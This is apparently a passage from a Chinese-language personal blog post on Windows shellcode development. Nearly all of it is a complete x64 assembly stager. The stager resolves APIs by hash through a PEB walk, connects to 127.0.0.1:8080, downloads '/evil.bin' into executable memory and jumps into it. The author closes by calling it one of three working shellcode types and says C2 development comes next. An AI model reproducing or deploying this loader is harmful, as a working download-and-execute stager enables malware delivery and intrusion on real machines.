mov cx, 0202h ; WORD wVersionRequested = MAKEWORD(2,2)
push 0 ; 为 WSADATA 预留空间 (低8字节)
push 0 ; 为 WSADATA 预留空间 (高8字节)
mov rdx, rsp ; LPWSADATA lpWSAData = rsp
mov r10, 78A22668h ; hash( "ws2_32.dll", "WSAStartup" )
call GetProcAddressByHash ; WSAStartup(MAKEWORD(2,2), &wsaData)

create_socket:
mov ecx, 2 ; AF_INET
mov edx, 1 ; SOCK_STREAM
mov r8d, 6 ; IPPROTO_TCP
mov r10, 65BA8FF9h ; hash( "ws2_32.dll", "socket" )
call GetProcAddressByHash ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
test rax, rax
jz try_it_again
mov rsi, rax ; 保存 SOCKET

connect_server:
sub rsp, 20h ; 为 sockaddr_in 预留 32 字节(足够对齐)
lea rdx, [rsp] ; 指向 sockaddr_in
xor rax, rax
mov word ptr [rdx+0], 2 ; sin_family = AF_INET
mov ax, 8080
xchg al, ah
mov word ptr [rdx+2], ax ; sin_port = htons(8080)
mov dword ptr [rdx+4], 0100007Fh ; 127.0.0.1
mov qword ptr [rdx+8], 0 ; 清尾部
mov rcx, rsi ; SOCKET s
mov r8d, 16 ; sizeof(sockaddr_in)
mov r10, 0D9AB4BD8h ; hash( "ws2_32.dll", "connect" )
call GetProcAddressByHash ; connect(s, &addr, 16)
test rax, rax
jnz try_it_again ; connect 成功返回 0,非零表示失败
add rsp, 20h

send_http_request:
mov rcx, rsi ; SOCKET s
lea rdx, http_req ; const char* buf
mov r8d, (http_req_end - http_req) ; int len
xor r9d, r9d ; flags = 0
mov r10, 0D76F9201h ; hash( "ws2_32.dll", "send" )
call GetProcAddressByHash ; send(s, buf, len, 0)
cmp eax, 0 ; 检查返回值
jle try_it_again ; send 失败返回 -1,<= 0 表示失败
jmp allocate_buffer

try_it_again:
dec rdi
jz failure
jmp create_socket

failure:
mov r10, 2E3E5B71h ; hash( "kernel32.dll", "ExitProcess" )
call GetProcAddressByHash ; ExitProcess(0)

allocate_buffer:
xor rcx, rcx ; LPVOID lpAddress = NULL
mov rdx, 00400000h ; SIZE_T dwSize = 4MB
mov r8d, 1000h ; MEM_COMMIT
mov r9d, 40h ; PAGE_EXECUTE_READWRITE
mov r10, 0BCEF49D9h ; hash( "kernel32.dll", "VirtualAlloc" )
call GetProcAddressByHash ; VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
mov r12, rax ; 保存缓冲区起始地址
xchg rax, rbx

recv_loop:
mov rcx, rsi ; SOCKET s
mov rdx, rbx ; 当前写入位置
mov r8d, 2000h ; 读块大小 8192
xor r9d, r9d
mov r10, 0D7FF7F41h ; hash( "ws2_32.dll", "recv" )
call GetProcAddressByHash ; recv(s, buf, 8192, 0)
cmp eax, 0 ; 检查返回值
jle recv_done ; recv 返回 <= 0 表示连接关闭(0)或失败(-1)
add rbx, rax ; 前移写指针
jmp recv_loop

recv_done:
mov rcx, rsi
mov r10, 0D98414B4h ; hash( "ws2_32.dll", "closesocket" )
call GetProcAddressByHash ; closesocket(s)

mov r10, 06C81146Ah ; hash( "ws2_32.dll", "WSACleanup" )
call GetProcAddressByHash ; WSACleanup()

parse_http_response:
; 解析 HTTP 响应,找到 body 起始位置(跳过响应头)
; HTTP 响应头和 body 之间由连续的两个 CRLF(\r\n\r\n)分隔
mov rdx, r12 ; 从缓冲区起始位置开始查找
mov rcx, rbx
sub rcx, r12 ; 计算接收到的总字节数
test rcx, rcx
jz try_it_again

find_body:
mov al, byte ptr [rdx]
cmp al, 0Dh ; 检查是否为 '\r'
jne next_byte
cmp byte ptr [rdx+1], 0Ah ; 检查 '\n'
jne next_byte
cmp byte ptr [rdx+2], 0Dh ; 检查 '\r'
jne next_byte
cmp byte ptr [rdx+3], 0Ah ; 检查 '\n'
jne next_byte
; 找到了 \r\n\r\n,body 从 rdx+4 开始
lea rax, [rdx+4] ; rax = body 起始地址
push 0
push rax
jmp execute_stage

next_byte:
inc rdx
dec rcx
jnz find_body

execute_stage:
ret

http_req:
db 'GET /evil.bin HTTP/1.1', 13, 10
db 'Host: 127.0.0.1:8080', 13, 10
db 'Connection: close', 13, 10
db 13, 10
http_req_end:

GetProcAddressByHash:
push r9 ; 保存第4个参数
push r8 ; 保存第3个参数
push rdx ; 保存第2个参数
push rcx ; 保存第1个参数
push rsi ; 保存 RSI
xor rdx, rdx ; 清零 rdx
mov rdx, gs:[rdx+60h] ; 获取 PEB 的指针
mov rdx, [rdx+18h] ; 获取 PEB->Ldr
mov rdx, [rdx+20h] ; 从 InMemoryOrder 模块列表中获取第一个模块

; 获取下一个模块名称和长度
next_mod: ;
mov rsi, [rdx+50h] ; 获取模块名称的指针 (unicode 字符串)
movzx rcx, word ptr [rdx+48h] ; 将 rcx 设置为我们要检查的长度
xor r9, r9 ; 清零 r9,它将存储模块名称的哈希值

loop_modname: ;
xor rax, rax ; 清零 rax
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 某些版本的 Windows 使用小写模块名称
jl not_lowercase ;
sub al, 20h ; 如果是,则标准化为大写
not_lowercase: ;
ror r9d, 0dh ; 对r9 的低32位进行循环右移13位,不影响高32位
add r9d, eax ; 添加名称的下一个字节
loop loop_modname ; 循环直到我们读取足够的数据
; 现在我们已经计算了模块哈希
push rdx ; 保存模块列表中的当前位置,供后续使用
push r9 ; 保存当前模块哈希,供后续使用
; 继续遍历导出地址表
mov rdx, [rdx+20h] ; 获取此模块的基地址
mov eax, dword ptr [rdx+3ch] ; 获取 PE 头
add rax, rdx ; 添加模块的基地址
cmp word ptr [rax+18h], 020Bh ; 这个模块实际上是 PE64 可执行文件吗?
jne get_next_mod1 ; 如果不是,继续处理下一个模块
mov eax, dword ptr [rax+88h] ; 获取导出表的 RVA
test rax, rax ; 测试是否没有导出地址表
jz get_next_mod1 ; 如果没有 EAT,处理下一个模块
add rax, rdx ; 添加模块的基地址
push rax ; 保存当前模块的 EAT
mov ecx, dword ptr [rax+18h] ; 获取函数名称的数量
mov r8d, dword ptr [rax+20h] ; 获取函数名称的 rva
add r8, rdx ; 添加模块的基地址
; 计算模块哈希 + 函数哈希
get_next_func: ;
jrcxz get_next_mod ; 当我们到达 EAT 的开始(我们向后搜索)时,处理下一个模块
dec rcx ; 递减函数名称计数器
mov esi, dword ptr [r8+rcx*4]; 获取下一个模块名称的 rva
add rsi, rdx ; 添加模块的基地址
xor r9, r9 ; 清零 r9,它将存储函数名称的哈希值
; 并将其与我们想要的进行比较
loop_funcname: ;
xor rax, rax ; 清零 rax
lodsb ; 读取 ASCII 函数名称的下一个字节
ror r9d, 0dh ; 右旋转我们的哈希值
add r9d, eax ; 添加名称的下一个字节
cmp al, ah ; 将 AL(名称的下一个字节)与 AH(null)进行比较
jne loop_funcname ; 如果我们没有到达 null 终止符,继续
add r9, [rsp+8] ; 将当前模块哈希添加到函数哈希
cmp r9d, r10d ; 将哈希与我们正在搜索的进行比较
jnz get_next_func ; 如果没有找到,去计算下一个函数哈希
; 如果找到,修复栈,调用函数,然后计算下一个...
pop rax ; 恢复当前模块的 EAT
mov r8d, dword ptr [rax+24h] ; 获取序数表的 rva
add r8, rdx ; 添加模块的基地址
mov cx, [r8+2*rcx] ; 获取所需函数的序数
mov r8d, dword ptr [rax+1ch] ; 获取函数地址表的 rva
add r8, rdx ; 添加模块的基地址
mov eax, dword ptr [r8+4*rcx] ; 获取所需函数的 RVA
add rax, rdx ; 添加模块的基地址以获取函数的实际 VA
finish:
pop r8 ; 清除当前模块的哈希
pop r8 ; 清除模块列表中的当前位置
pop rsi ; 恢复 RSI
pop rcx ; 恢复第1个参数
pop rdx ; 恢复第2个参数
pop r8 ; 恢复第3个参数
pop r9 ; 恢复第4个参数
pop r10 ; 弹出返回地址
sub rsp, 20h ; 为四个寄存器参数保留空间 (4 * sizeof(QWORD) = 0x20)
; 如果需要,调用者有责任恢复 RSP(或分配更多空间或对齐 RSP)
push r10 ; 压回返回地址
jmp rax ; 跳转到所需的函数
; 我们现在自动返回到正确的调用者...
get_next_mod: ;
pop rax ; 弹出当前(现在是前一个)模块的 EAT
get_next_mod1: ;
pop r9 ; 弹出当前(现在是前一个)模块的哈希
pop rdx ; 恢复我们在模块列表中的位置
mov rdx, [rdx] ; 获取下一个模块
jmp next_mod ; 处理这个模块

main endp
end

img

总结

okok,非常的完美,目前基础的三种 shellcode 编写都已经成功实现了,也是基本具有了写 shellcode 的能力,后面再进一步 C2 的开发计划了。

感觉不算非常困难,真的一步一步调过和写过这些汇编就会发现,其实并没有那么困难,和写高级编程语言的代码类似,但是需要注意寄存器污染和 rsp 对齐的问题,其他就没有了。好了就这样。。。。。。

参考链接

  1. https://xz.aliyun.com/news/17644
  2. https://xz.aliyun.com/news/17827
  3. https://xz.aliyun.com/news/17961

Windows系统shellcode开发
http://candyb0x.github.io/2025/10/15/Windows系统shellcode开发/
作者
Candy
发布于
2025年10月15日
更新于
2025年10月15日
许可协议